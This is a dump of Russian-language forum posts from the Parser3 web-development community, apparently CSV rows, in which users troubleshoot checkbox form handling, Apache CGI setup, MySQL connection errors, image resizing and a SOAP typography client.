Когда код написал один раз сработало, правда нужно ещё будет применять taint untaint, ещё раз пробую не работает значения в строку запроса не попадают ессно ничего не передаётся, может кто нить подскажет как лучше и правильнее это будет сделать, поиск искал ничего подходящего к сожалению не искал, возможно плохо искал. Сразу не бейте хоть чуточку направьте в нужную строчку."
"55001","вы можете сделать иначе:\
на второй страницы выдавать не:\
[code]$cheks[$form:tables.cheks] \
^if($cheks){\
$12{\
    ^cheks.menu{ \
        $cheks.field \
    }[,]}\
\
}{\
   Ничего не выбрано\
} \
[/code]\
Дальше я хочу в невидимое поле поместить значения $12 \
<input type=\"hidden\" name=\"select_cheks\" value=\"$12\"/>\
\
а так:\
[code]\
^if($form:tables.cheks){\
    ^form:tables.cheks.menu{\
    	<input type=\"hidden\" name=\"cheks\" value=\"$form:tables.cheks.field\"/>\
    }\
}{\
	Ничего не выбрано\
}\
[/code]\
\
теперь при нажатии кнопки Поиск на следующую страницу информация об отмеченных чекбоксах придет в точно таком-же виде, как если бы она пришла от чекбоксов с первой страницы."
"55002","Млин , у меня  тупик... кто подскажет тому пиво."
"55003","Hexley...\
не знаю что вообще может быть сложного в такой примитивной задаче... на выходе xml или не xml вообще не имеет никакого значения. все оч просто. создаешь бд:\
таблицы:\
категории:\
cat_id (+), cat_name\
элементы:\
elt_id (+), elt_name, elt_parent \
где парент это id категории, для которой этот элемент яляется дочерним.\
ну и так далее...\
если нужна неограниченная вложенность, единственный метод - использовать masterkey. тоесть указывать в индексе дочернего элемента родительский элемент. я форум недавно древовидный так рисовал. потом проходишь рекурсивно от корневых элементов, у которых индекс будет 0 до последних, которые ты уже сам выбираешь, у которых нет дочерних элементов.\
чтобы сделать неограниченное число аттрибутов айтема, сделай таблицу аттрибутов, в ней, по той же схеме - как foreign key используй parent_id, который связан с табл. items, и обозначает номер item'a для которого ты определяешь аттрибуты. далее- номер аттрибута, название аттрибута, значение аттрибута. даже рекурсия не нужна. просто цикл while или until. не знаю на чем ты программишь.\
когда в хмл выводишь, используй те же рекурсии...\
лучше всего - взять почитать теорию баз данных :) разобраться что такое foreign key, сколько нормальных форм бд существует и для чего каждая используется...\
если не разберешься по описанию, кину мой исходник. или на емайл пиши...\
зы. непонятно почему вопрос только Мише адресован... вродь не так сложно ответить :)"
"55004","а ты что используешь в кач-ве xml парсера? вродь sablotron на одну транзакцию тебе его предоставляет. то есть как только он доходит до конца твоего xsl-stylesheet, он удаляет его из кеша."
"55005","Млин примерчик можно?\
root@platypuscms.org"
"55006","причем наасколько я понимаю только такой, к которому указали _путь_ в методе transform."
"55007","Все ... конвертнул....\
Всем спасибо )))"
"55011","[b]Написал в .htaccess:[/b]\
\
[code]AddHandler parsed-html html\
Action parsed-html /parser.cgi\
CharsetDisable On[/code]\
\
[b]Выдает:[/b]\
\
[code]Not Found\
\
The requested URL /parser.cgi/index.html was not found on this server.\
\
Apache/1.3.33 Server at parser Port 80[/code]\
\
[b]В parser.com-error_log:[/b]\
[code][Fri Aug 11 22:59:26 2006] [error] [client 127.0.0.1] File does not exist: /html/parser/parser.cgi/index.html[/code]\
\
В чем может быть проблема?"
"55012","Проблема в том что Apache ругаеться что мол нету там парсера...\
Обычно люди (и я) кладут parser3.cgi в cgi-bin и пишут\
[quote]AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser.cgi\
CharsetDisable On[/quote]"
"55013","Сделал как обычно делают люди, опять:\
\
[code]Not Found\
The requested URL /cgi-bin/parser.cgi/index.html was not found on this server.[/code]\
\
Apache/1.3.33 Server at parser Port 80\
\
В логе:\
\
[code][Fri Aug 11 23:45:02 2006] [error] [client 127.0.0.1] script not found or unable to stat: /usr/local/apache/cgi-bin/parser.cgi[/code]"
"55014","Ошибка из-за того что парсер не лежит в /cgi-bin/parser.cgi\
Может вы ошибочно ложите parser в cgi-bin другого хоста...\
Совет : обратитесь из браузера имя_вашего_хоста/cgi-bin/parser.cgi\
чтобы проверить его(парсера) работоспособность ."
"55015","ICQ 177897"
"55016","судя по логу , вы кинули в /usr/local/apache/cgi-bin/\
Не факт что именно этот cgi-bin преднозначен для вашего хоста...."
"55017","Порой форум перекосабочивает...\
Навигация сверху дублируеться\
parser 2.0 parser 2.0	FAQ FAQ итд...\
Изза чего?"
"55018","Как мне узнать какой cgi-bin для моего хоста?\
В httpd.conf написал:\
[code]<VirtualHost *:80>\
    ServerAdmin anton@atsar.ru\
    DocumentRoot /html/parser\
    ServerName parser\
    ErrorLog /html/parser/parser.com-error_log\
    CustomLog /html/parser/parser.com-access_log common\
</VirtualHost>[/code]"
"55019","не годится обновлять фрейм. при обновлении раздается щелчок, что раздражает пользователей."
"55020","в примере весь frontend (js) взят с dklab.ru.\
\
я писал лишь парсерный класс, который работает на сервере, принимает от js данные и отправляет что-то обратно (то что у автора Subsys_JsHttpRequest сделано на php).\
\
с помощью этого-же кода и класса сделан тестовый чат, в котором тот-же G_Z сидит больше, чем 20 минут, и вроде броузер у него не подвисает... если у вас подвисает броузер, то мне кажется что что-то именно с вашей системой.\
\
ещё можете попробовать поискать/спросить [url=\"http://forum.dklab.ru/comments/lib/41_jshttprequestDinamicheskayaPodkachkaDannihBezPerezagruzkiStranitsi.html\"]в форуме[/url] автора Subsys_JsHttpRequest, может что посоветуют."
"55021","Попробовал так переписать VirtualHost:\
\
[code]<VirtualHost *:80>\
    ServerAdmin anton@atsar.ru\
    DocumentRoot /html/parser\
    ServerName parser\
    ErrorLog /html/parser/parser.com-error_log\
    CustomLog /html/parser/parser.com-access_log common\
    ScriptAlias /cgi-bin/ \"/usr/local/apache/cgi-bin/\"\
</VirtualHost>[/code]\
\
Попробовал запустить sh test-cgi в /cgi-bin/ выводит:\
[code]Content-type: text/plain\
\
CGI/1.0 test script report:\
\
argc is 0. argv is .\
\
SERVER_SOFTWARE =\
SERVER_NAME =\
GATEWAY_INTERFACE =\
SERVER_PROTOCOL =\
SERVER_PORT =\
REQUEST_METHOD =\
HTTP_ACCEPT =\
PATH_INFO =\
PATH_TRANSLATED =\
SCRIPT_NAME =\
QUERY_STRING =\
REMOTE_HOST =\
REMOTE_ADDR =\
REMOTE_USER =\
AUTH_TYPE =\
CONTENT_TYPE =\
CONTENT_LENGTH =\
[/code]"
"55022",":)\
Не обращай внимания!\
Если уж обращаешь, то включи картинки и всё встанет на свои места.\
P.S.: <.... alt=parser 2.0 ...>"
"55023","В принципе теперь все должно работать...\
Ах да...\
У меня всегда наблюдаеться...\
Я обработчиком прописываю parser.cgi а кидаю в cgi-bin - parser3.cgi"
"55024","Точно - про ЦИФРУ 3 забыл.\
Правда сразу появилось вот что:\
[code]/: '/html/parser/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/html/parser/auto.p', fuid(0)!=euid(99) or fgid(0)!=egid(99) [parser.runtime][/code]"
"55025","))))\
Parser у вас в режиме safe-mode ...\
Это значит что парсер не будет читать файлы  группы отличной от группы парсера...\
В данном случае...\
парсер запускаеться от apache:apache ...\
Тоесть все файлы надо chown apache:apache *\
либо пересобрать парсер без safe-mode\
P.S. Я всю ночь в аське - 177897 . Стучитесь\
P.P.S проверьте свою почту"
"55026","Код честно взял здесь:\
http://www.artlebedev.ru/tools/typograf/webservice/\
\
Внесенные изменения:\
[b]1.[/b] Все параметры задаются при инициализации объекта класса, а не последовательно, путем вызова дополнительных методов\
[b]2.[/b] Метод @processText[] переименован в @process[], @new[] в @init[]\
[b]3.[/b] Замена &, < и > на соотвутствующие им сущности &amp;, &lt; и &gt; и обратно, после обработки текста, изменена с match на replace\
\
Пример использования:\
[code]$oTypograf[^RemoteTypograf::init[\
	$.entityType[html|xml|no|mixed]\
	$.useBr(0)\
	$.useP(1)\
	$.maxNobr(3)\
	$.parserOutput(0)\
]]\
^oTypograf.process[$form:text][/code]\
\
Код класса:\
\
[code]\
@CLASS\
RemoteTypograf\
\
\
@init[hParams]\
^switch[$hParams.sEntityType]{\
	^case[html]{$_entityType(1)}\
	^case[xml]{$_entityType(2)}\
	^case[no]{$_entityType(3)}\
	^case[mixed;DEFAULT]{$_entityType(4)}\
}\
$_useBr(^hParams.useBr.int(1))\
$_useP(^hParams.useP.int(1))\
$_maxNobr(^hParams.maxNobr.int(3))\
$_parserOutput(^hParams.parserOutput.int(0))\
# end @init[]\
\
\
@process[sText][hSOAP;fRemoteTypograf;xProcessTextResult;sTypographed]\
$sText[^sText.replace[^table::create{from	to\
&	&amp^;\
<	&lt^;\
>	&gt^;}]]\
$hSOAP[^hash::create[]]\
$hSOAP.Body[<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\
	<soap:Body>\
		<ProcessText xmlns=\"http://typograf.artlebedev.ru/webservices/\">\
			<text>$sText</text>\
			<entityType>$_entityType</entityType>\
			<useBr>$_useBr</useBr>\
			<useP>$_useP</useP>\
			<maxNobr>$_maxNobr</maxNobr>\
		</ProcessText>\
	</soap:Body>\
</soap:Envelope>]\
\
$fRemoteTypograf[^file::load[binary;http://typograf.artlebedev.ru/webservices/typograf.asmx?parserClient;\
	$.method[POST]\
	$.body[^untaint[as-is]{$hSOAP.Body}]\
	$.charset[utf-8]\
]]\
\
$hSOAP.Response[^xdoc::create{^untaint[as-is]{$fRemoteTypograf.text}}]\
$hSOAP.Envelope[$hSOAP.Response.documentElement]\
$hSOAP.Response.search-namespaces.als[http://typograf.artlebedev.ru/webservices/]\
$xProcessTextResult[^hSOAP.Envelope.selectSingle[//als:ProcessTextResult/text()]]\
\
^if(def $xProcessTextResult){\
	$sTypographed[$xProcessTextResult.nodeValue]\
\
	^sTypographed.replace[^table::create{from	to\
&amp^;	&\
&lt^;	<\
&gt^;	>\
^if($_parserOutput){^;	^^^;}}]\
\
	$result[^untaint[as-is]{^sTypographed.trim[]}]\
}{\
	$result[]\
}\
# end @process[]\
[/code]"
"55027","[quote]изменена с match на replace[/quote]\
\
Лучше сделать taint/untaint."
"55028","Там же мнение PAF, в общем очень верное мнение.\
\
[url=\"http://www.parser.ru/forum/?id=54136\"]http://www.parser.ru/forum/?id=54136[/url]\
\
[url=\"http://www.parser.ru/forum/?id=54139\"]  http://www.parser.ru/forum/?id=54139[/url]"
"55029","Раньше все логи выводились в окне браузера, а после какой-то переустановки перестало, приходится каждый раз лазить в parser.log . Помню в форуме обсуждалось, но к сожалению не нашел... Кто знает, подскажете?"
"55031","Уважаемый PAF , хотелось бы заставить парсер показывать ошибку и трасировку кода в том случае если этот код ^process\
-body of process-\
Может реализуете?"
"55034","для mod_parser3. но нам пока так быстро не нужно было, я не встраивал её."
"55038","Размещайте скрипты у себя на сервере и давайте к ним досту -- идеальный вариант, и заказчику такой вариант можно обосновать.\
\
Тут другой вопрос -- компилированныйе классы в памяти работать будут быстрее."
"55039","По моему я немного невнятно объяснил, извеняюсь.\
У меня есть страница object.html в которой содержатся эти чекбоксы:\
\
\
Здесь у меня коннект к базе и некторая выборка из неё:\
Дальше у меня идёт цикл, и в нём выводяться чекбоксы в два столбца.\
[code]\
<form method=\"get\" action=\"/searchs.html\"> \
   <p><input type=checkbox name=cheks value=\"$таблица.значение\">$таблица.имя</p> \
   <p><input type=checkbox name=cheks value=\"$таблица.значение\">$таблица.имя</p>\
   <p><input type=checkbox name=cheks value=\"$таблица.значение\">$таблица.имя</p>\
[/code]\
Далее как Вы советовали Михаил я заменил свой код на Ваш\
[code]\
^if($form:tables.cheks){\
    ^form:tables.cheks.menu{\
    	<input type=\"hidden\" name=\"cheks\" value=\"$form:tables.cheks.field\"/>\
    }\
}{\
	Ничего не выбрано\
}\
[/code]\
Далее\
[code]\
<input type=\"hidden\" name=\"hs_id\" value=\"$form:obj_id\"></input> \
<input type=\"submit\" value=\"Поиск\"></input>\
</form>\
[/code]\
\
Далее когда я нажимаю поиск у меня значения чекбоксов и другие такие как к примеру hs_id должны попасть в адресную строку и передаться на страницу searchs.html откуда я их должен вызвать и вставить в запрос, на данный момент hs_id передаётся, и передаются cheks сами чекбоксы тоесть field и value из этих динамически выводимых строк (<p><input type=checkbox name=cheks value=\"$таблица.значение\">$таблица.имя</p>)\
\
А запрос на странице searchs.html в которую должны попасть значения чекбоксов следующий, напишу концовку \
[code]\
WHERE \
obj_id = '$form:hs_id' AND nap_id in (а вот сюда через запятую должны попасть значения чекбоксов со страницы object.html)\
[/code]\
А как я не могу допетрить."
"55040","День добрый!\
Поиск делал, смотрел FAQ, но так и не нашел информацию о том, как можно на IIS вынести логи Парсера в другую папку...\
Не подскажете, как это сделать?\
Заранее спасибо."
"55048","а не проще юзера данного хоста включить в группу apache?"
"55053","как заменить & и Co на &amp; и Co с помощью taint/untaint я знаю, а вот как обратно - нет. может расскажешь? :)\
\
причем даже прямое подобное преобразование с помощью taint/untaint делать сложно."
"55054","насколько я знаю, в случае binary парсер не занимается перекодированием. т.е. чтобы $.charset[] работал нужно указывать text.\
\
$xProcessTextResult -> $result"
"55057","Эти строки остались неизменными, не заметил :) Что логичнее: убрать $.charset или изменить binary на text?..\
\
Кстати, заметил ошибку в типографе, благодаря которой возникают проблемы при создании xdoc, после типографирования — теги пересекаются. Например, фраза:\
\
[code]\
Какой-то текст со-<a href=\"#\">ссылкой, завернутой в &lt;nobr /&gt;</a>.\
[/code]\
\
Типографируется так:\
\
[code]\
<p><nobr>Какой-то</nobr> текст <nobr>со-<a href=\"#\">ссылкой</nobr>,\
завернутой в&nbsp;&lt;nobr /&gt;</a>.\
</p>\
[/code]\
\
Т.е. пересекаются теги <nobr> и <a>, что по стандарту недопустимо."
"55058","[code]$sTextForProcess[@main[]\
${sTextFromDB}$hashfile.key\
${sTextFromFile}${form:name}\
${sTextFromXslt}${cookie:name}]\
\
^process{$sTextForProcess}[/code]\
\
кроме того мы не приверженцы подобного подхода, поэтому с подобной проблемой не сталкивались.\
\
P.S. в imp1 process используется только для того, чтобы выполнить код, целиком расположенный в отдельных файлах (обработчики). в нашем случае $.file и $.lineno хватает за глаза."
"55059","Установил parser на сервер как описано в http://www.parser.ru/download/freebsd/\
Для проверки работоспособности запускаю файл http://мой_сайт.ru/_test.html\
Выдается сообщение:\
Unhandled Exception\
\
change_case_UTF8 error: end pointers do not match\
upper\
\
/home/u42497/мой_сайт.ru/www/_test.html(128)\
\
Что это означает?"
"55060","[quote]Установил parser на сервер как описано в http://www.parser.ru/download/freebsd/[/quote]\
\
хорошо что упомянули, но все таки расскажите какой файл куда вы положили. очень похоже на то, что ваш парсер не может найти конфигурационный файл.\
\
заодно можете почитать FAQ и попробовать обратиться к парсеру напрямую: http://мой_сайт.ru/cgi-bin/parser3.cgi (хотя это не обязательно, уже видно что сам парсер у вас запускается)"
"55061","cgi-bin/\
 - parser3/ - папка\
  -- charsets/ - папка\
   --- koi8-r.cfg\
   --- windows-1250.cfg\
   --- windows-1251.cfg\
   --- windows-1254.cfg\
   --- windows-1257.cfg\
  -- lib/ - папка\
   --- libparser3mysql.so\
 - parser3.cgi\
 - parser3.log\
\
www/\
 - .htaccess\
 - _test.html"
"55062","У parser3.cgi атрибут 755, у всех остальных 644, у папок 755"
"55064","Файл есть, установлен в\
мой_сайт.ru/cgi-bin/parser3/auto.p атрибут 644\
\
Когда писал список файлов забыл про него."
"55065","Can't connect to local MySQL server through socket '/tmp/mysql.sock' (61) [sql.connect]\
\
как избежать такой ошибки? это сервер, или код?\
периодически он работает, но бывает и такая ошибка..."
"55066","если не увидите ошибку - значит он не выполняется и нужно разбираться почему это так."
"55067","инструкцию добавил, без изменений.\
\
Выдается тоже самое сообщение."
"55068","я не могу подсказать почему у вас это происходит. \
попробуйте почитать тут: http://www.parser.ru/docs/lang/install4apachecgi.htm\
и вручную указать парсеру путь к этому конфигурационному файлу (\"Если вас не устраивает расположение конфигурационного файла по умолчанию...\")."
"55069","Исправил, скопировал файлы конфигурации в корень папки где лежит parser3. \
Файл _test.html выдал много информации\
\
Если не сильно затруднит посмотрите, все ли правильно http://1.alpine-rus.ru/_test.html"
"55070","Предлагаю заменить цвет текста \"(относительный путь. проверка невозможна)\" в _test.html с красного на какой-нибудь менее угрожающий, чтобы не пужать людей..."
"55074","Помогите, пожалуйста, в чем может быть проблема, если переменная [b]$env:HTTP_USER_AGENT[/b] пишет [b]parser3[/b], а не описывает браузер?\
Спасибо"
"55075","Странно у меня 3.2.2b и все пашет...\
Можно кусок кода?"
"55077","Это ошибка сервера....\
Попробуйте обрвтитьсяв службу поддержки вашего хостинга"
"55078","а из-за чего она может возникнуть?\
слишком частое обращение к серверу, или просто сервер такой?"
"55079","У меня была такая ошибка на локальном серваке....\
Решаеться очень просто....\
Ищеться файл этот...\
и в нужное место кидаеться ссылка на этот файл ...\
порой лечиться простым полным перезапуском mysqld...."
"55080","Задача такая , есть много таблиц .\
Мне нужно чтобы при удалении данных из таблицы чтобы эта запись записывалась в другую таблицу (архив)...\
Где можно об этом почитать?\
Может кто сталкивался?"
"55081","Но проще завести поле-флаг - \"удалено\" / \"не удалено\""
"55082","вам подобное \"архивирование\" для чего? очевидно что не для того, чтобы экономить место на диске (т.к. данные продолжают существовать в другой таблице). похоже чтобы где-то показывать ссылку \"архив\" и в этом архиве показывать старые записи.\
\
в этом случае делайте как вам Sanja предложил: добавьте поле is_archive или как вам больше нравится. и не забудьте про индекс по нему."
"55085","[code]\
$LastTenArticles[^getArticles[\
 $.article_type_id(0)\
 $.limit(10)\
]\
$.reverse(1)\
][/code]"
"55089","помогите ламоботу , что такое базовый класс?"
"55091","Интересно то, что этот код до обновления CGI работал!\
\
Ошибку исправил."
"55094","Вобщем вот, что есть:\
[code]@i[i;hash]\
^try{\
	$img[^image::measure[$i]]\
	^img.html[$hash]\
}{\
	$exception.handled(1)\
	^switch[$exception.type]{\
		^case[file.access]{\
			<sup>Нет доступа к файлу</sup>\
		}\
		^case[file.missing]{\
			<sup>Файл не найден</sup>\
		}\
		^case[image.format]{\
			<sup>Неправильный формат файла</sup>\
		}\
		^case[DEFAULT]{\
			<sup>Ошибка</sup>\
		}\
	}\
}[/code]\
\
Вот. Вызов предикативен:\
[code]^i[/i/img.gif;$.alt[Картиночечка]][/code]\
\
Вопрос: как сделать так, чтобы, если не указывается $.alt[] на выводе он был бы пустой:\
[code]<img src=\"/i/img.gif\" width=\"1\" height=\"1\" alt=\"\">[/code]"
"55101","Нужна сборка Parser3 с with-mail-resive (помоему так) Что-бы можно было отправлять почту... Под RedHat и под Windows ,если у кого есть дайте ссылку... Или пришлите timofei1394@platypuscms.org"
"55102","Парсер может отправлять почту в стандартной сборке.\
А ежели Вам надо получать почту (receive пишется именно так как здесь), то попробуйте собрать сами. Там не так уж и сложно."
"55103","Да-да именно получать... Спросил на тот случай может есть у кого, что-бы самому не утруждаться..."
"55104","исправьте уже, наконец, пожалуйста!! \
Первое нажатие на кнопку \"отправить\" приводит к потере контента. Второе - отправляет. Или хотя бы добавьте toolbar=yes. Только что опять загубил свой пост:("
"55105","почитайте теорию баз данных прежде чем начинать базы создавать :) я знаю что запоздал с ответом оч) ну что поделать. почитайте про нормальные формы (вродь уже говорил это на этом форуме)..."
"55106","Установил себе ресайз картинок через xnview. Но качество почему то оставляет желать лучшего. Вот какие настройки я ставлю.\
\
$f[^file::exec[/nconvert/bin/nconvert;;-o;${env:DOCUMENT_ROOT}/photo/uploaded/small/$filename;-rmeta;-ratio;-q;100;-resize;100;${env:DOCUMENT_ROOT}/photo/uploaded/$filename]]\
\
Можно ли как-то улучшить качество сохранения?"
"55107","в которой выставлять путь к логу в переменную окружения.\
но это не супер.\
\
в isapi вариенте логи пишутся в общий IIS log.\
но isapi имеет другие недостатки.\
\
боюсь, что этот вопрос мы не особенно продумали.\
вариант: писать логи в системный журнал событий.\
у меня была даже заготовка на эту тему, но Студии это не было особенно нужно, в дело так и не пошло."
"55108","очевидно, вы говорите о том useragent, который parser передаёт внешнему http серверу при запросе\
[code]\
^file::load[http://from/remote/resource/]\
[/code]\
мы в [url=\"/docs/lang/tableload.htm\"]документации[/url] специально рассмотрели ваше пожелание и предложили вам кусочек кода, чтобы можно было указать USER-AGENT явно.\
USER-AGENT пришедшего к вам браузера можно узнать так:\
[code]\
$request:HTTP_USER_AGENT\
[/code]"
"55109","Я как-то перепробовал все параметры, больше всего понравилось качество с такими настройками:\
 -rmeta -rtype lanczos -resize 117 87"
"55110","И укажите начальные условия: какой браузер, версия.\
\
Потому что все остальные пишут нормально."
"55116","При нажатии кнопки отправить окно добавления сообщения перезагружается и исчезает, иногда не исчезает, а просто обновляется. Это появилось после добавления антиспама."
"55123","[b]Initial conditions:[/b]\
1. Пользователь не залогинен.\
2. Браузер: IE (5, 6).\
\
[b]Steps to reproduce:[/b]\
1. Открыть [url=\"http://www.parser.ru/forum/?id=55116\"]сообщение[/url].\
2. Нажать кнопку [b]Ответить...[/b].\
\
[b]Expected result:[/b] Форма содержит скрытый input c uid.\
[b]Actual result:[/b] input c uid отсутствует."
"55126","Скажите почему при таком запросе:\
[code]\
$list_hash[\
^MAIN:pSQL.server{\
	$table_of_items[^MAIN:pSQL.table{\
	SELECT * FROM bd.p_cat_item p}\
	[\
	$.offset(5)\
	$.limit(10)\
	]]}\
[/code]\
\
Я получаю ошибку:\
\
element can not be stored to stateless_class\
\
и как тогда правильно пользоваться offset и limit."
"55128","кроме этого нет закрывающей ']' для '$list_hash['"
"55129","В какую директорию на сервере положить БД p3test, описанную в 4-ом уроке?\
\
Сервер выдает ошибку: «Ошибку вызвал этот фрагмент: ьmysql:/****@localhost/p3test»"
"55130",":)\
Непонял что значит в какую директорию...\
база данных p3test это база данных а не файл(папка)\
База данных это хранилище на сервере базы данных , в данном случае mysql....\
Чтобы создать базу данных надо зайти в панель управления хостингом и искать там ссылку phpmyadmin...."
"55131","У меня нет панели управления, мой сайт хостится на локальном сервере (дом. комп. под упр. Apache)"
"55132","Пиши в асю 177897 , все разьясню"
"55133","Я нашел директорию, но возникает ошибка при чтении БД, если вы выполняли когда-либо 4-ый урок — пришлите пожалуйста текстовый файл с правильными колонками: simhold@gmail.com"
"55135","Довольно странный глюк при аплоаде файлов\
Parser стоит на IIS, cgi версия\
\
Так вот при загрузке файла, страничка которая его непосредственно грузит, как бы зависает - броузер белый, внизу вроде как идет прогресс бар, но все заканчивается так:\
CGI Timeout\
The specified CGI application exceeded the allowed time for processing. The server has deleted the process.\
\
При этом все действия скрипт выполняет, файл в целости и сохранности лежит на диске, и если выполнить скрипт показывающий файлы в директории в другом броузере тот все исправно показывает\
\
Объясните пожалуйста, что я делаю не так:\
\
Форма:\
\
[code]\
<form action=\"xt_engine.html\" method=\"post\" enctype=\"multipart/form-data\">\
  <input type=\"hidden\" name=\"mode\" value=\"file_add\">\
 \
  <input type=\"file\" name=\"fl\">\
  <input type=\"button\" value=\"Загрузить\">\
</form>\
[/code]\
\
Кусок скрипта, выполняющий аплоад:\
[code]\
^switch[$form:mode]{\
  ^case[file_add]{\
    $ufile[$form:fl]\
\
    ^if(-f '/upload/$ufile.name'){\
    ^file:delete[/upload/ufile.name]}\
\
    ^ufile.save[binary;/upload/$ufile.name]\
    $response:location[/сms/obj_uploads/index.html]\
  }\
...\
[/code]\
	\
То есть - вроде как выходит что он виснет на редиректе. Но как я писал выше, открытый в отдельном окне index.html срабатывает как часы. Да и нечему там виснуть - там только ^file:list и menu по нему."
"55136","Для этого закомментируйте строчки удаления и сохранения.\
\
Если все так, то попробуйте вместо внутреннего, сделать внешний редирект:\
[code]$response:location[[b]http://servername[/b]/сms/obj_uploads/index.html][/code]"
"55137","Убедился - на редиректе\
Внешний редирект на тот же скрипт работает, не виснет\
\
Но - почему?\
\
И как мне делать внешний редирект, не хардкодя доменное имя?\
\
Какие-нибудь вызовы есть в парсере, чтобы узнать текущее доменное имя?"
"55138","Возможно в этом причина подвисания.\
\
$env:SERVER_NAME. Иногда полезен $env:HTTP_HOST ([url=\"http://www.webcode.ru/cgi/envlist/\"]Переменные окружения[/url])"
"55139","Я уже перестал ждать ответа, как он появился. Спасибо.\
Я думаю, что проще всего будет сделать выгрузку лога по запросу через скрипт...\
А вообще, возможно ли в будущем увидеть поддержку этой возможности в Парсере?"
"55140","В продолжении темы http://www.parser.ru/forum/?id=55039 я понял почему не попадают значения чекбокосов в хэш, постараюсь объяснить, вообщем когда мы заходим на страницу object.html у нас выводится список чекбоксов их порядка 29, дальше страница уже сформирована код весь обработан, а чекбоксы то выбираются позже, в связи с этим при нажатии на кнопку поиск значения чекбоксов не успевают попасть в хэш, проверял следующим способом, захожу на страницу object.html выбираю чекбоксы убераю из [code<form method=\"get\" action=\"/searchs.html\"> \
[/code]  [code]action=\"/searchs.html\"[/code] нажимаю на кнопку поиск дальше обратно вставляю [code]action=\"/searchs.html\"[/code] нажимаю кнопку поиск выбрав при этом ещё раз чекбокс и значение попадает в хэш"
"55141","при нажатии на кнопку \"Добавить|Ответить\" IE [b]не[/b] передает на сервер referer :( (FF, Opera - передают)\
\
а я смотрел на это дело и не позволял добавлять сообщение если форму открыли без referer-а. в случае, если всеми этими глупостями (открыванием формы) занимался залогиненый пользователь, то referer я не проверял.\
\
спамеры частенько ищут поисковиками формы, открывают их без захода на сайт и добавляют сообщение. я отключил эту проверку (точнее теперь я тоже смотрю на него, но пускаю с пустым referer и referer содержащий 'parser.ru'), т.е. возможно сейчас количество спама увеличится."
"55144","Я заметил что кодек в xnview вообще довольно сильно хромает, его процентное соотношение качества, качеством можно назвать только с очень большой натяжкой.\
\
Поэтому я использую ImageMagick.\
\
Однако чем примечателен nconvert - вот этими тремя параметрами:\
\
-rmeta  : Remove Metadata (EXIF/IPTC/...)\
-rexifthumb  : Remove EXIF thumbnail\
-jpegtrans : выполняет поворот jpeg файла без перекомпрессии"
"55146","Последний вопрос - а насильственно убить содержимое $form: перед редиректом - реально?"
"55147","поподробнее , ничего не понял"
"55148","Какие планы на парсер , что нового будет в новой версии(версиях)\
какие координальные новшевства будут введены?"
"55149","<script>\
function copy_path(){\
	document.file.path.value = document.file.file.value;\
}\
</script>\
\
<form action=\"upload.html\" method=\"post\" enctype=\"multipart/form-data\" name=\"file\">\
<input type=\"hidden\" name=\"path\" value=\"\">\
<input type=\"file\" name=\"file\" size=\"50\" onChange=\"copy_path()\">\
<input type=\"submit\"></tr>\
</form>\
\
Самое простое, что пришло в голову, дальше работаешь с переменными."
"55151","Вообщем пишу ещё раз, есть страница object.html на которой в динамике выводится список чекбоксов, порядка 29 штук.\
Пусть без динамики будет, коду меньше, смысл один и тот же.\
\
[code]\
<form method=\"Если post\" action=\"/searchs.html?chn=$ch\">\
<input type=\"checkbox\" name=\"cheks\" value=\"1\"/>\
<input type=\"checkbox\" name=\"cheks\" value=\"2\"/>\
<input type=\"checkbox\" name=\"cheks\" value=\"3\"/>\
<input type=\"checkbox\" name=\"cheks\" value=\"4\"/>\
<input type=\"checkbox\" name=\"cheks\" value=\"5\"/>\
\
Далее мы выводим через запятую список выбранных чекбоксов.\
$cheks[$form:tables.cheks] \
$ch[^if($cheks){^cheks.menu{$cheks.field}[, ]]\
}\
\
<input type=\"submit\" value=\"Найти\" />\
</form>\
[/code]\
Тоесть в $ch должно содержаться, если к примеру выбраны первые два чекбокса, значения 1, 2. Дальше должна загрузиться страница searchs.html и через хэш в неё должно попасть значение $ch я их вызываю $form:chn и должен получить 1, 2 на странице searchs.html\
Вся засада как я понял на данный момент в том, что значения содержащиеся в $ch не успевают попасть в строку\
[code]<form method=\"Если post\" action=\"/searchs.html?chn=$ch\">[/code] после субмита по кнопке, так значения в $ch попадают после того когда выбраны чекбоксы. Тоесть если убрать из\
[code]<form method=\"Если post\" action=\"/searchs.html?chn=$ch\">[/code]\
action=\"/searchs.html?chn=$ch\" нажать субмит потом обратно подставить значение action то всё проходит, подскажите как быть, буду очень признателен если нипишите в аську 201435240"
"55154","всё всем спасибо особенно Михаилу и Hexley"
"55156","Спасибо за Мишин код http://www.parser.ru/forum/?id=55001\
А Hexley что направил в нужном направлении.\
\
Вообщем решил проблему следующим образом\
[code]\
Постим форму следующим способом\
<form method=\"post\" action=\"/searchs.html>\
а не так \
<form method=\"Если post\" action=\"/searchs.html?chn=$ch\">\
тоесть передаём значение через форму а не через хэш\
<input type=\"checkbox\" name=\"cheks\" value=\"1\"/>\
<input type=\"checkbox\" name=\"cheks\" value=\"2\"/>\
<input type=\"checkbox\" name=\"cheks\" value=\"3\"/>\
<input type=\"checkbox\" name=\"cheks\" value=\"4\"/>\
<input type=\"checkbox\" name=\"cheks\" value=\"5\"/>\
Далее не так \
$cheks[$form:tables.cheks] \
$ch[^if($cheks){^cheks.menu{$cheks.field}[, ]]\
}\
\
а получаем значения выбранных чекбоксов и выводим их в скрытые поля во так:\
^if($form:tables.cheks){\
    ^form:tables.cheks.menu{\
    	<input type=\"hidden\" name=\"cheks\" value=\"$form:tables.cheks.field\"/>\
    }\
}\
\
<input type=\"submit\" value=\"Найти\" />\
</form>\
[/code]\
Далее на странице searchs.html выводим эти значения следующим способом\
[code]\
^form:tables.cheks.menu{$form:tables.cheks.field}[, ]\
[/code]\
Вот собственно и всё\
Всем спасибо!"
"55157","Здравствуйте.\
\
По запросу слова \"php\" поиск форума ответа не дал, поэтому сорри, если тут уже было.\
Могу ли я запустить код php, который лежит отельным файлом?\
\
Спасибо за ответ."
"55159","Простите за назойливость...\
А SSI как заставить вызвать?\
\
Например:\
<!--#include virtual=\"/dr.php\" -->\
\
Странно, почему-то поиск форума мне говорит, что нет сообщений. Как же вы нашли php? :))"
"55160","Он, собственно, делает ровно то, о чем спрашиваете."
"55161","Этот код на php \"вызывает\" другой файл php:\
\
<?\
